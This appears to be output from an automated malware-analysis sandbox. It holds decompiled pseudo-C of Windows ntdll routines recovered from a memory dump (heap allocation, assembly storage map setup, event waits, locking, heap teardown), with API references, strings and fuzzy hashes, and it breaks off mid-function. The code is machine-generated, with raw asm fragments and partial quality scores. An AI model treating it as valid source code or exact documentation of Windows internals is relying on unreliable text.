				signed int _t41;

				_push(__ecx);
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t26 = __ecx;
				_t41 = __edx;
				if(__ecx == 0 || __edx == 0) {
					_push(_t41);
					_push(_t26);
					E6D2D5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Map        : 0x%p\nSXS:    EntryCount : 0x%lx\n", "RtlpInitializeAssemblyStorageMap");
					_t17 = 0xc000000d;
				} else {
					_t34 = _a4;
					if(_t34 == 0) {
						_t29 = 4;
						_t17 = E6D27F3D5( &_v8, __edx * _t29, __edx * _t29 >> 0x20);
						if(_t17 >= 0) {
							_t34 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _v8);
							if(_t34 != 0) {
								_v8 = 1;
								goto L3;
							} else {
								_t17 = 0xc0000017;
							}
						}
					} else {
						L3:
						if(_t41 != 0) {
							memset(_t34, 0, _t41 << 2);
						}
						 *_t26 = _v8;
						_t17 = 0;
						_t26[1] = _t41;
						_t26[2] = _t34;
					}
				}
				return _t17;
			}

0x6d27d4b5
0x6d27d4b6
0x6d27d4b7
0x6d27d4bd
0x6d27d4bf
0x6d27d4c4
0x6d2bb0b0
0x6d2bb0b1
0x6d2bb0c0
0x6d2bb0c8
0x6d27d4d2
0x6d27d4d2
0x6d27d4d7
0x6d2bb06a
0x6d2bb074
0x6d2bb07b
0x6d2bb094
0x6d2bb098
0x6d2bb0a4
0x00000000
0x6d2bb09a
0x6d2bb09a
0x6d2bb09a
0x6d2bb098
0x6d27d4dd
0x6d27d4dd
0x6d27d4df
0x6d27d4e7
0x6d27d4e7
0x6d27d4ec
0x6d27d4ee
0x6d27d4f0
0x6d27d4f3
0x6d27d4f3
0x6d27d4d7
0x6d27d4fc

APIs

RtlAllocateHeap.1105(?,00000000,00000000,?,?,?,00000234,00000000,00000000,00000000,?,6D27C8DC,0000000C,?), ref: 6D2BB08F
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx,RtlpInitializeAssemblyStorageMap,00000000,?,?,00000234,00000000,00000000,00000000,?,6D27C8DC,0000000C,?), ref: 6D2BB0C0

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 6D2BB0B2
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 6D2BB0B7

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrint
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 3766636288-2653619699
Opcode ID: b5a4d3aa8ce8c01d3b40f6d452fe7790d81b9484d57882730c83c2b04380e434
Instruction ID: 49911229e8cca417be8521694fc2af41d5c3193f28784c22a73d7c0ae43b18a4
Opcode Fuzzy Hash: b5a4d3aa8ce8c01d3b40f6d452fe7790d81b9484d57882730c83c2b04380e434
Instruction Fuzzy Hash: 16113672B9421EFBF7358A49CC80F7B72A9DBC5755F148029BA049B240E6B0DD0083A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D24A63B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D24A63B(intOrPtr __ecx) {
				signed short _t14;
				signed short _t15;
				void* _t23;
				signed int _t24;
				intOrPtr _t27;
				void* _t31;
				signed short _t33;
				void* _t38;

				_t27 = __ecx;
				_t33 =  *0x6d338498;
				 *((short*)(((0 |  *((intOrPtr*)(__ecx + 8)) == 0xddeeddee) - 0x00000001 & 0x00000058) + __ecx + 0x24)) = 0xffff;
				_t38 = _t33 -  *0x6d335cb0; // 0x4
				if(_t38 == 0) {
					_t14 =  *0x6d335cb0; // 0x4
					_t15 = _t14 + _t14;
					 *0x6d335cb0 = _t15;
					_t31 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, (_t15 & 0x0000ffff) << 2);
					if(_t31 != 0) {
						_t33 =  *0x6d338498;
						memcpy(_t31,  *0x6d3356f4, (_t33 & 0x0000ffff) << 2);
						_t23 =  *0x6d3356f4; // 0x6d336640
						if(_t23 != 0x6d336640) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t23);
							_t33 =  *0x6d338498;
						}
						 *0x6d3356f4 = _t31;
						L2:
						_t24 = _t33 & 0x0000ffff;
						 *0x6d338498 = _t33 + 1;
						 *((intOrPtr*)(_t31 + _t24 * 4)) = _t27;
						L3:
						return _t24;
					}
					_t24 =  *0x6d338498;
					 *0x6d335cb0 = _t24;
					goto L3;
				}
				_t31 =  *0x6d3356f4; // 0x6d336640
				goto L2;
			}

0x6d24a63e
0x6d24a643
0x6d24a65e
0x6d24a663
0x6d24a66a
0x6d2a42f5
0x6d2a42fa
0x6d2a42fc
0x6d2a4319
0x6d2a431d
0x6d2a4330
0x6d2a4345
0x6d2a434d
0x6d2a4357
0x6d2a4365
0x6d2a436a
0x6d2a436a
0x6d2a4371
0x6d24a676
0x6d24a676
0x6d24a67b
0x6d24a682
0x6d24a685
0x6d24a688
0x6d24a688
0x6d2a431f
0x6d2a4325
0x00000000
0x6d2a4325
0x6d24a670
0x00000000

APIs

RtlAllocateHeap.1105(?,00000000,?,?,-00000001,?,6D2712AD,?,00000000,?,6D29FC21,00000000,00000000), ref: 6D2A4314

Strings

@f3m, xrefs: 6D2A4352

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID: @f3m
API String ID: 1279760036-828524646
Opcode ID: 70054df9eb0b020e0cfc5a7ed12f5d3424bad766bbeabea21d85bbdbca06c5e0
Instruction ID: af8678af2fd4ab5c3e6fbb205faea75b2c8390dd286cd39ea71343d3d4acaa82
Opcode Fuzzy Hash: 70054df9eb0b020e0cfc5a7ed12f5d3424bad766bbeabea21d85bbdbca06c5e0
Instruction Fuzzy Hash: 9711BF3F5A81C1BBCB368F18CA40B3233B9FB4AB59F560134EA04DB650DB348852C360

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D176C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6D2D176C(signed int __ecx) {
				char _v8;
				char* _v12;
				short _v14;
				char _v16;
				signed int _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				char _v52;
				short _t22;
				short _t23;
				void* _t27;
				void* _t29;
				signed int _t38;

				_t22 = 0x46;
				_v16 = _t22;
				_t23 = 0x48;
				_v14 = _t23;
				_t38 = __ecx;
				_v12 = L"\\KernelObjects\\SystemErrorPortReady";
				_v44 =  &_v16;
				_push( &_v52);
				_push(0x100001);
				_v52 = 0x18;
				_push( &_v8);
				_v48 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_t27 = E6D289900();
				if(_t27 >= 0) {
					if(__ecx != 0xffffffff) {
						_v28 = __ecx * 0xffffd8f0;
						_v24 = __ecx * 0xffffd8f0 >> 0x20;
					}
					asm("sbb esi, esi");
					_push( ~(_t38 + 1) &  &_v28);
					_push(0);
					_push(_v8);
					_t29 = E6D289520();
					_push(_v8);
					E6D2895D0();
					return _t29;
				}
				return _t27;
			}

0x6d2d1778
0x6d2d177b
0x6d2d1781
0x6d2d1782
0x6d2d1786
0x6d2d178b
0x6d2d1792
0x6d2d1798
0x6d2d1799
0x6d2d17a1
0x6d2d17a8
0x6d2d17a9
0x6d2d17ac
0x6d2d17af
0x6d2d17b2
0x6d2d17b5
0x6d2d17bc
0x6d2d17c1
0x6d2d17cc
0x6d2d17cf
0x6d2d17cf
0x6d2d17d8
0x6d2d17dc
0x6d2d17dd
0x6d2d17de
0x6d2d17e1
0x6d2d17e6
0x6d2d17eb
0x00000000
0x6d2d17f0
0x6d2d17f7

APIs

ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6D2D17B5
ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6D2D17E1
ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6D2D17EB

Strings

\KernelObjects\SystemErrorPortReady, xrefs: 6D2D178B

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEventObjectOpenSingleWait
String ID: \KernelObjects\SystemErrorPortReady
API String ID: 2739627308-2278496901
Opcode ID: fd97c8253e3197fa942b634a05aa5b70a98d1b2d9a187427713d2cf56db3b49a
Instruction ID: d843102b6a9dc065bfb17155dbf0dd89241c3e09a4bc52b52c09febbff62f207
Opcode Fuzzy Hash: fd97c8253e3197fa942b634a05aa5b70a98d1b2d9a187427713d2cf56db3b49a
Instruction Fuzzy Hash: B5115275D5021CAADB10CFA99841AEEFBF8EF89310F11416BE914F3290E7705A05CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 6D24F4E3, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
nativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6D24F4E3(void* __eflags) {

				 *( *[fs:0x18] + 0xfca) =  *( *[fs:0x18] + 0xfca) & 0x0000efff;
				L6D25EEF0(0x6d337b60);
				 *0x6d337b78 =  *0x6d337b78 & 0x00000000;
				E6D25EB70(0xefff, 0x6d337b60);
				_push(0);
				_push( *0x6d337b1c);
				return E6D2895C0();
			}

0x6d24f4f5
0x6d24f4fc
0x6d24f501
0x6d24f509
0x6d24f50e
0x6d24f510
0x6d24f51c

APIs

RtlEnterCriticalSection.1105(6D337B60,00000000,6D2508CF,?,?,?,?,?,?,6D2A0AF4,?), ref: 6D24F4FC
RtlLeaveCriticalSection.1105(6D337B60,6D337B60,00000000,6D2508CF,?,?,?,?,?,?,6D2A0AF4,?), ref: 6D24F509
ZwSetEvent.1105(00000000,6D337B60,6D337B60,00000000,6D2508CF,?,?,?,?,?,?,6D2A0AF4,?), ref: 6D24F516

Strings

`{3m, xrefs: 6D24F4EF

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: `{3m
API String ID: 3094578987-2242828155
Opcode ID: d379281de4f47651a1ef92ae97b3bdf378a7da3ce4419a03b0e29a7490def491
Instruction ID: 520480bcdf3b5fc2bcf3110b5a3b18a3e5072b4e95219b9f19c88b1aa1920c79
Opcode Fuzzy Hash: d379281de4f47651a1ef92ae97b3bdf378a7da3ce4419a03b0e29a7490def491
Instruction Fuzzy Hash: 81D05E76A552A9E6EE315B20DE41FD432B8AF01328F130870AA0162A818BA86C519299

Uniqueness

Uniqueness Score: -1.00%

Function 6D258800, Relevance: 6.2, APIs: 4, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D258800(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t62;
				signed int _t66;
				void* _t67;
				void* _t69;
				signed int _t70;
				intOrPtr _t74;
				signed int _t78;
				signed int _t85;
				intOrPtr* _t88;
				signed int _t93;
				signed int _t95;
				signed int _t98;
				signed int _t100;
				signed int _t106;
				signed int* _t110;
				signed int _t114;
				signed int* _t118;
				intOrPtr _t119;
				signed int _t123;
				signed int _t125;

				_t119 = __ecx;
				_t62 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_t106 = 0;
				_v20 = __ecx;
				_t88 = 0;
				if(_t62 != 0) {
					_t88 = _t62 + 0x5d8;
					if(_t88 == 0 ||  *((intOrPtr*)(_t88 + 0x30)) == 0) {
						_t88 = 0;
					}
				}
				_v28 = 0;
				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				if(_t88 == 0 || _t119 == 0) {
					L13:
					return _t106;
				} else {
					if( *((intOrPtr*)(_t88 + 8)) == 0) {
						L12:
						_t106 = 1;
						goto L13;
					}
					_t11 = _t88 + 0x40; // 0x40
					_t117 = _t11;
					E6D258999(_t11,  &_v12);
					if(_a4 != 0) {
						__eflags = _a4 - 1;
						if(_a4 != 1) {
							goto L12;
						}
						_t92 =  *(_t119 + 0x64);
						__eflags =  *(_t119 + 0x64);
						if( *(_t119 + 0x64) == 0) {
							goto L12;
						}
						E6D258999(_t92,  &_v8);
						_t110 = _v8;
						_t66 = 0;
						__eflags = 0;
						_t93 =  *_t110;
						while(1) {
							__eflags =  *((intOrPtr*)(0x6d335c60 + _t66 * 8)) - _t93;
							if( *((intOrPtr*)(0x6d335c60 + _t66 * 8)) == _t93) {
								break;
							}
							_t66 = _t66 + 1;
							__eflags = _t66 - 5;
							if(_t66 < 5) {
								continue;
							}
							_t95 = 0;
							__eflags = 0;
							L27:
							__eflags = _t95;
							if(_t95 != 0) {
								goto L12;
							}
							__eflags = _v12 - _t110;
							if(_v12 != _t110) {
								goto L12;
							}
							E6D262280(_t67, 0x6d3386cc);
							_t69 = E6D319DFB( &_v16);
							__eflags = _t69 - 1;
							if(_t69 != 1) {
							}
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							 *_t88 =  *_t88 + 1;
							asm("adc dword [ebx+0x4], 0x0");
							_t70 = E6D2761A0( &_v28);
							__eflags = _t70;
							if(_t70 == 0) {
								L20:
								 *_t88 =  *_t88 + 1;
								asm("adc dword [ebx+0x4], 0x0");
								E6D25FFB0(_t88, _t117, 0x6d3386cc);
								goto L12;
							}
							__eflags = _v28 | _v24;
							if((_v28 | _v24) == 0) {
								goto L20;
							}
							_t55 = _t88 + 0x40; // 0x3f
							_t98 = _t55;
							L40:
							_t74 = _v20;
							_t57 = _t74 + 0x28; // 0x0
							_t58 = _t74 + 0x24; // 0x0
							E6D319D2E(_t98, 1, _v28, _v24,  *_t58 & 0x0000ffff,  *_t57);
							goto L20;
						}
						_t67 = 0x6d335c64 + _t66 * 8;
						asm("lock xadd [eax], ecx");
						_t95 = (_t93 | 0xffffffff) - 1;
						goto L27;
					}
					_t106 = E6D258A0A( *((intOrPtr*)(_t119 + 0x18)),  &_v8);
					if(_t106 == 0) {
						goto L13;
					}
					_t118 = _v8;
					_t78 = 0;
					_t17 =  &(_t118[1]); // 0x6d3384dc
					_t100 = _t17;
					 *(_t119 + 0x64) = _t100;
					_t114 =  *_t118;
					_v16 = _t100;
					while( *((intOrPtr*)(0x6d335c60 + _t78 * 8)) != _t114) {
						_t78 = _t78 + 1;
						if(_t78 < 5) {
							continue;
						}
						L11:
						if(E6D28F380(_t100, 0x6d221184, 0x10) != 0) {
							__eflags =  *_t118 -  *_v12;
							if( *_t118 >=  *_v12) {
								goto L12;
							}
							asm("cdq");
							_t123 = _t118[5] & 0x0000ffff;
							_t83 = _t118[5] & 0x0000ffff;
							asm("cdq");
							_t125 = _t123 << 0x00000010 | _t118[5] & 0x0000ffff;
							__eflags = ((_t114 << 0x00000020 | _t123) << 0x10 | _t114) -  *((intOrPtr*)(_t88 + 0x2c));
							if(__eflags > 0) {
								L19:
								E6D262280(_t83, 0x6d3386cc);
								 *_t88 =  *_t88 + 1;
								_t34 = _t88 + 0x40; // 0x3f
								_t117 = _t34;
								asm("adc dword [ebx+0x4], 0x0");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 = E6D2761A0( &_v28);
								__eflags = _t85;
								if(_t85 != 0) {
									__eflags = _v28 | _v24;
									if((_v28 | _v24) == 0) {
										goto L20;
									}
									_t98 = _v16;
									goto L40;
								}
								goto L20;
							}
							if(__eflags < 0) {
								goto L12;
							}
							__eflags = _t125 -  *((intOrPtr*)(_t88 + 0x28));
							if(_t125 <  *((intOrPtr*)(_t88 + 0x28))) {
								goto L12;
							}
							goto L19;
						}
						goto L12;
					}
					asm("lock inc dword [eax]");
					goto L11;
				}
			}

0x6d258810
0x6d258814
0x6d25881a
0x6d25881c
0x6d25881f
0x6d258824
0x6d258826
0x6d25882e
0x6d2a9c48
0x6d2a9c48
0x6d25882e
0x6d25883d
0x6d258840
0x6d258843
0x6d258846
0x6d258849
0x6d25884e
0x6d2588b7
0x6d2588bf
0x6d258854
0x6d258857
0x6d2588b4
0x6d2588b6
0x00000000
0x6d2588b6
0x6d258859
0x6d258859
0x6d258861
0x6d25886a
0x6d25893d
0x6d258941
0x00000000
0x00000000
0x6d258947
0x6d25894a
0x6d25894c
0x00000000
0x00000000
0x6d258955
0x6d25895a
0x6d25895d
0x6d25895d
0x6d25895f
0x6d258961
0x6d258961
0x6d258968
0x00000000
0x00000000
0x6d25896a
0x6d25896b
0x6d25896e
0x00000000
0x00000000
0x6d258970
0x6d258970
0x6d258972
0x6d258972
0x6d258974
0x00000000
0x00000000
0x6d25897a
0x6d25897d
0x00000000
0x00000000
0x6d2a9c65
0x6d2a9c6d
0x6d2a9c72
0x6d2a9c75
0x6d2a9c75
0x6d2a9c82
0x6d2a9c86
0x6d2a9c87
0x6d2a9c88
0x6d2a9c89
0x6d2a9c8c
0x6d2a9c90
0x6d2a9c95
0x6d2a9c97
0x6d258927
0x6d258927
0x6d25892f
0x6d258933
0x00000000
0x6d258933
0x6d2a9ca0
0x6d2a9ca3
0x00000000
0x00000000
0x6d2a9ca9
0x6d2a9ca9
0x6d2a9cac
0x6d2a9cac
0x6d2a9cb2
0x6d2a9cb5
0x6d2a9cc0
0x00000000
0x6d2a9cc0
0x6d258988
0x6d258992
0x6d258996
0x00000000
0x6d258996
0x6d25887b
0x6d25887f
0x00000000
0x00000000
0x6d258881
0x6d258884
0x6d258886
0x6d258886
0x6d258889
0x6d25888c
0x6d25888e
0x6d258891
0x6d25889a
0x6d25889e
0x00000000
0x00000000
0x6d2588a0
0x6d2588b2
0x6d2588d3
0x6d2588d5
0x00000000
0x00000000
0x6d2588db
0x6d2588dc
0x6d2588e0
0x6d2588e8
0x6d2588ee
0x6d2588f0
0x6d2588f3
0x6d2588fc
0x6d258901
0x6d258906
0x6d25890c
0x6d25890c
0x6d25890f
0x6d258916
0x6d258917
0x6d258918
0x6d258919
0x6d25891a
0x6d25891f
0x6d258921
0x6d2a9c52
0x6d2a9c55
0x00000000
0x00000000
0x6d2a9c5b
0x00000000
0x6d2a9c5b
0x00000000
0x6d258921
0x6d2588f5
0x00000000
0x00000000
0x6d2588f7
0x6d2588fa
0x00000000
0x00000000
0x00000000
0x6d2588fa
0x00000000
0x6d2588b2
0x6d2588c9
0x00000000
0x6d2588c9

APIs

memcmp.1105(6D3384DC,6D221184,00000010,-00000054,?,00000000,00000001,?,6D3352D8), ref: 6D2588A8
RtlAcquireSRWLockExclusive.1105(6D3386CC,-00000054,?,00000000,00000001,?,6D3352D8), ref: 6D258901
RtlReleaseSRWLockExclusive.1105(6D3386CC,6D3386CC,-00000054,?,00000000,00000001,?,6D3352D8), ref: 6D258933
RtlAcquireSRWLockExclusive.1105(6D3386CC,-00000054,?,00000000,00000001,?,6D3352D8), ref: 6D2A9C65

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Acquire$Releasememcmp
String ID:
API String ID: 2792186644-0
Opcode ID: 0ee4a478b9429f2788bcef3be6c6a0ab4eab4db2785ea1d20a1d4ced188f2652
Instruction ID: 8126e46902133a549b3d4ba0d580ef8babed7875e442d3e758240cc29cca216f
Opcode Fuzzy Hash: 0ee4a478b9429f2788bcef3be6c6a0ab4eab4db2785ea1d20a1d4ced188f2652
Instruction Fuzzy Hash: C851F570A6420FDBDF18CF58C484EBAB7B5FF85306F4680A9D911AB200D771AA60CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D30B581, Relevance: 6.2, APIs: 4, Instructions: 163
nativeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E6D30B581(char __ecx) {
				signed int _v8;
				signed int _v11;
				intOrPtr _v15;
				short _v41;
				char _v47;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v55;
				signed int _v56;
				char _v60;
				intOrPtr _v63;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				signed int _t60;
				char* _t66;
				void* _t67;
				signed int _t87;
				signed int _t88;
				void* _t89;
				signed char _t91;
				intOrPtr* _t98;
				signed int _t107;
				signed int _t108;
				signed int _t114;
				signed int _t115;
				char _t117;
				void* _t120;
				signed int* _t123;
				void* _t124;
				signed int _t128;
				signed int _t129;

				_t131 = (_t129 & 0xfffffff8) - 0x3c;
				_v8 =  *0x6d33d360 ^ (_t129 & 0xfffffff8) - 0x0000003c;
				_t117 = __ecx;
				_v60 = __ecx;
				_t91 =  *((intOrPtr*)(__ecx + 0x38));
				_t54 =  *(__ecx + 0x34);
				_t87 = _t91 & 1;
				if(_t54 == 0) {
					L17:
					 *(_t117 + 0x34) =  *(_t117 + 0x34) & 0x00000000;
					 *(_t117 + 0x38) =  *(_t117 + 0x38) & 0x00000000;
					if((_t91 & 0x00000001) != 0) {
						 *(_t117 + 0x38) = 1;
					}
					_t118 = _v60;
					_t88 = _v60 + 0xe8;
					while(1) {
						_t122 =  *_t88;
						if( *_t88 == 0) {
							break;
						}
						E6D312EF7(_t118 + 0xd8, _t122 ^ _t88);
						E6D313209(_t118 + 0xd8, _t122 ^ _t88, 1);
					}
					E6D30CB82(_v60 + 0x118);
					E6D30FA96();
					E6D30FA96();
					_t98 = _v60;
					_v48 =  *((intOrPtr*)(_t98 + 4));
					_t60 =  *((intOrPtr*)(_t98 + 0xd4)) - _t98;
					_v52 =  *_t98;
					_v56 = _t60;
					_push( *((intOrPtr*)(_t98 + 4)));
					_push( *_t98);
					if(( *(_t98 + 0x2c) & 0x00000001) == 0) {
						asm("sbb eax, eax");
						_push((_t60 & 0x01000000) + 0x8000);
						L6D30AFDE( &_v60,  &_v56);
					} else {
						E6D30BCD2(_t98);
					}
					E6D30C23A( &_v55, 0);
					if(E6D267D50() == 0) {
						_t66 = 0x7ffe0388;
					} else {
						_t66 = ( *[fs:0x30])[0x14] + 0x22e;
					}
					if( *_t66 != 0) {
						E6D2FFDD3(_v63);
					}
					_t67 = E6D267D50();
					_t123 = 0x7ffe0380;
					if(_t67 == 0) {
						_t68 = 0x7ffe0380;
					} else {
						_t68 = ( *[fs:0x30])[0x14] + 0x226;
					}
					if( *_t68 != 0) {
						_t68 =  *[fs:0x30];
						if((( *[fs:0x30])[0x90] & 0x00000001) != 0) {
							if(E6D267D50() != 0) {
								_t123 = ( *[fs:0x30])[0x14] + 0x226;
							}
							_v15 = _v63;
							_v41 = 0x1023;
							_push( &_v47);
							_push(4);
							_push(0x402);
							_push( *_t123 & 0x000000ff);
							_t68 = E6D289AE0();
						}
					}
					_pop(_t120);
					_pop(_t124);
					_pop(_t89);
					return E6D28B640(_t68, _t89, _v11 ^ _t131, 0, _t120, _t124);
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t107 =  *_t54;
					if(_t107 != 0) {
						break;
					}
					_t108 =  *(_t54 + 4);
					if(_t108 == 0) {
						_t128 =  *(_t54 + 8) & 0xfffffffc;
						if(_t87 != 0 && _t128 != 0) {
							_t128 = _t128 ^ _t54;
						}
						E6D30E962(_t108, _t54, _t117);
						if(_t128 == 0) {
							_t91 =  *(_t117 + 0x38);
							goto L17;
						} else {
							_t54 = _t128;
							continue;
						}
					}
					_t115 = _t54;
					if(_t87 == 0) {
						_t54 = _t108;
					} else {
						_t54 = _t54 ^ _t108;
					}
					 *(_t115 + 4) =  *(_t115 + 4) & 0x00000000;
				}
				_t114 = _t54;
				if(_t87 == 0) {
					_t54 = _t107;
				} else {
					_t54 = _t54 ^ _t107;
				}
				 *_t114 =  *_t114 & 0x00000000;
				goto L1;
			}

0x6d30b589
0x6d30b593
0x6d30b59a
0x6d30b59c
0x6d30b5a0
0x6d30b5a3
0x6d30b5a9
0x6d30b5ae
0x6d30b602
0x6d30b602
0x6d30b606
0x6d30b60d
0x6d30b60f
0x6d30b60f
0x6d30b613
0x6d30b617
0x6d30b61d
0x6d30b61d
0x6d30b621
0x00000000
0x00000000
0x6d30b62d
0x6d30b63c
0x6d30b63c
0x6d30b64d
0x6d30b659
0x6d30b668
0x6d30b66d
0x6d30b676
0x6d30b680
0x6d30b682
0x6d30b686
0x6d30b68e
0x6d30b691
0x6d30b693
0x6d30b6a7
0x6d30b6b3
0x6d30b6b4
0x6d30b695
0x6d30b695
0x6d30b695
0x6d30b6bf
0x6d30b6cb
0x6d30b6dd
0x6d30b6cd
0x6d30b6d6
0x6d30b6d6
0x6d30b6e5
0x6d30b6eb
0x6d30b6eb
0x6d30b6f0
0x6d30b6f5
0x6d30b701
0x6d30b710
0x6d30b703
0x6d30b70c
0x6d30b70c
0x6d30b715
0x6d30b717
0x6d30b724
0x6d30b72d
0x6d30b738
0x6d30b738
0x6d30b740
0x6d30b749
0x6d30b752
0x6d30b753
0x6d30b755
0x6d30b75d
0x6d30b75e
0x6d30b75e
0x6d30b724
0x6d30b767
0x6d30b768
0x6d30b769
0x6d30b774
0x00000000
0x00000000
0x00000000
0x6d30b5b0
0x6d30b5b0
0x6d30b5b0
0x6d30b5b4
0x00000000
0x00000000
0x6d30b5c7
0x6d30b5cc
0x6d30b5e3
0x6d30b5e8
0x6d30b5ee
0x6d30b5ee
0x6d30b5f2
0x6d30b5f9
0x6d30b5ff
0x00000000
0x6d30b5fb
0x6d30b5fb
0x00000000
0x6d30b5fb
0x6d30b5f9
0x6d30b5ce
0x6d30b5d2
0x6d30b5d8
0x6d30b5d4
0x6d30b5d4
0x6d30b5d4
0x6d30b5da
0x6d30b5da
0x6d30b5b6
0x6d30b5ba
0x6d30b5c0
0x6d30b5bc
0x6d30b5bc
0x6d30b5bc
0x6d30b5c2
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6D29FC28), ref: 6D30B6C4
RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6D29FC28), ref: 6D30B6F0
RtlGetCurrentServiceSessionId.1105 ref: 6D30B726
ZwTraceEvent.1105(?,00000402,00000004,?), ref: 6D30B75E

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$EventTrace
String ID:
API String ID: 4061387822-0
Opcode ID: e6fd8e45d2d81fdec4854bfdabb769a50e9ea2bc364ae12c2fc7b6da1cb2eec3
Instruction ID: b2229c161b331d11516241cffe4cd417bdf422a96d81a78c77992527abbeb39e
Opcode Fuzzy Hash: e6fd8e45d2d81fdec4854bfdabb769a50e9ea2bc364ae12c2fc7b6da1cb2eec3
Instruction Fuzzy Hash: 4E5103316087478FD301CF28C991B66B7E4FF80708F058869EA958F291EB32E845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D249100, Relevance: 6.1, APIs: 4, Instructions: 141
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6D249100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x6d31f6e8);
				E6D29D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
